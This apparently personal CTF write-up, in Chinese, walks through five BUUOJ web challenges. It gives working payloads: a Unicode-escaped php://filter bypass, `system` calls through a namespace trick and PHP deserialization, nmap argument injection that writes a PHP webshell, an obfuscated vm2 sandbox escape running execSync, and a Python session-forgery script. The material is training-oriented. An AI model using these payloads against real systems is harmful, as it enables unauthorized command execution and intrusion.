2020.05.20近几日buuoj刷题记录

HarekazeCTF2019 encode_and_encode

主要绕过:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function is_valid($str) {
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}

url和返回的文件内容中都不能含有preg_match中的字符;由于没有使用/s,开始总想着可以换行绕,但它没有使用^$,因此行不通…

主要考点:json 在传输时是 Unicode 编码的

将字符pf进行unicode编码,然后协议流读取文件内容;构造:

{
"a":"b",
"page":"\u0070hp://filter/convert.base64-encode/resource=/\u0066lag"
}

使用bp发包时,要更改请求类型为Content-Type: application/json

网鼎杯 2020 朱雀组 phpweb

抓包发现两个参数:

func=date&p=Y-m-d+h%3Ai%3As+a

更改func为readfile可以进行任意文件读取

func=readfile&p=index.php

读到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>

方法1.使用顶级命名空间绕过

func=\system&p=cat /tmp/*

方法2.使用反序列化绕过

1
2
3
4
5
6
7
8
9
10
11
<?php
class Test {
var $p;
var $func;

}

$a = new Test();
$a->func = 'system';
$a->p = 'cat /tmp/*';
echo serialize($a);

发包:

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:10:"cat /tmp/*";s:4:"func";s:6:"system";}

网鼎杯 2020 朱雀组 Nmap

题目是一个nmap扫描器,可以输入ip扫描,然后可以查看输出结果;测试发现有些字符会被转义,猜测是escapeshellargescapeshellcmd结合使用产生的注入,过滤了php

方法1:

127.0.0.1 ' -iL /flag -oN 2.txt  '

-iL参数为从文件中获得主机列表,-oN为输出结果到文件中;这样查看2.txt,由于从/flag中获取的内容当做URL运行失败,会显示其内容

方法2:

127.0.0.1 ' <?=system($_GET[1]);?> -oN 2.phtml  '

直接写shell

HFCTF2020 JustEscape

查看响应头,发现:

X-Powered-By: Express

并且页面提示真的是 PHP 嘛,可以猜测网站使用的是node.js,访问/run.php得到源码,看起来是一个php的shell,但其实并不是,不能执行php的函数

访问?code=global显示[object Object],说明这里存在node.js的命令执行;但有时候输入会显示一个键盘页面,测试发现有些关键字被过滤了:

process
Function
eval
exec
'
+

使其报错获取信息:

?code=new Error().stack

得到报错信息:

Error
    at vm.js:1:1
    at Script.runInContext (vm.js:131:20)
    at VM.run (/app/node_modules/vm2/lib/main.js:219:62)
    at /app/server.js:51:33
    at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
    at next (/app/node_modules/express/lib/router/route.js:137:13)
    at Route.dispatch (/app/node_modules/express/lib/router/route.js:112:3)
    at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
    at /app/node_modules/express/lib/router/index.js:281:22
    at Function.process_params (/app/node_modules/express/lib/router/index.js:335:12)

可以看到其使用了vm2:

vm是用来实现一个沙箱环境,可以安全的执行不受信任的代码而不会影响到主程序

在github上找到其修复记录:

https://github.com/patriksimek/vm2/issues/225

给出了两个payload,但是不能直接用,因为其过滤了一些字符串,那么想办法通过拼接绕过

其中一个payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
TypeError.prototype.get_process = f=>f.constructor("return process")();
try{
Object.preventExtensions(Buffer.from("")).a = 1;
}catch(e){
return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
}+')()';
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}

安装相应版本的vm2包,sudo npm install vm2@3.8.3

进行本地测试;直接使用eval,正常执行exec:

使用VM沙箱,执行失败:

VM逃逸:

由于过滤了一些关键字,那么需要修改一下逃逸的payload;首先将上述untrusted的拼接语句改为一整个字符串,最外面的括号即IIFE,立即调用函数表达式

对于引号被过滤,可以直接替换为反引号,即模板字符串:

(function(){TypeError.prototype.get_process = f=>f.constructor(`return proces`+`s`)();try{Object.preventExtensions(Buffer.from(``)).a = 1;}catch(e){return e.get_process(()=>{}).mainModule.require(`child_proces`+`s`).execSync(`whoami`).toString();}})()

关键字被过滤了,对于对象来说,可以使用[]来访问其属性,那么[]中间的字符串便可以进行拼接:

(function(){TypeError[`prototyp`+`e`][`get_proces`+`s`] = f=>f[`constructo`+`r`](`return proces`+`s`)();try{Object.preventExtensions(Buffer.from(``)).a = 1;}catch(e){return e[`get_proces`+`s`](()=>{})[`mainModule`].require(`child_proces`+`s`)[`exe`+`cSync`](`whoami`).toString();}})()

这道题+也被过滤了,那么可以使用模板字符串的变量构造字符串:

最终payload:

(function(){TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return proces`}s`}`)();try{Object.preventExtensions(Buffer.from(``)).a = 1;}catch(e){return e[`${`${`get_proces`}s`}`](()=>{})[`mainModule`].require(`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`whoami`).toString();}})()

方法2

通过数组直接绕过过滤

方法3

模板字符串中使用16进制:

HFCTF2020 BabyUpload

主要是一个上传和一个下载功能,得到flag需要满足两个条件:

1
2
3
4
5
6
7
8
if($_SESSION['username'] ==='admin')
{
$filename='/var/babyctf/success.txt';
if(file_exists($filename)){
safe_delete($filename);
die($flag);
}
}

上传或者下载文件时,对路径做了限制,不能含有../,可控参数:

1
2
3
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;

upload中:

1
2
3
4
5
6
7
$file_path = $dir_path."/".$_FILES['up_file']['name'];
$file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);

@mkdir($dir_path, 0700, TRUE); # 创建 "/var/babyctf/".$attr 目录
if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
$upload_result = "uploaded";
}

那么使attr等于success.txt,便会创建/var/babyctf/success.txt这个目录;对于file_exist来说,目录存在也会返回1:

然后按照相应的序列化格式写到session文件中,注意获取到的session文件第一个字符是0x08,那么构造时需要加上;exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import requests
import re

url = 'http://c0375cf7-0ea6-45bd-97d6-2cc2e6564e31.node3.buuoj.cn/'

# 本地测试
#url = 'http://127.0.0.1/test.php'

# 方便burp抓包调试
proxies={
'http':'http://127.0.0.1:8080'
}

def read():
data = {
# 获取默认session内容
'direction':'download',
'filename':'sess_a8f3df66223f3b578b6d4eb099db10c3'
}

res = requests.post(url, data=data).text
res = re.findall('</code>(.*)', res)[0]
print(res)
# for i in res:
# print(ord(i))


def upload():
# 第一次上传,目的是为了创建success.txt目录
data = {
'direction':'upload',
'attr':'success.txt'
}

# 第二次上传,目的是为了写入到session文件中
data1 = {
'direction':'upload',
}
# 构造admin的session
content = chr(8)+'usernames:5:"admin";'

files = {
'up_file':('sess', content)
}

res = requests.post(url, data=data, files=files, proxies=proxies).text
res = requests.post(url, data=data1, files=files, proxies=proxies).text
#print(res)


def get_flag():
# 本地获取session文件名
headers = {
'Cookie':"PHPSESSID=432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4;"
}
res = requests.get(url, headers=headers, proxies=proxies).text
print(res)


# read()
upload()
get_flag()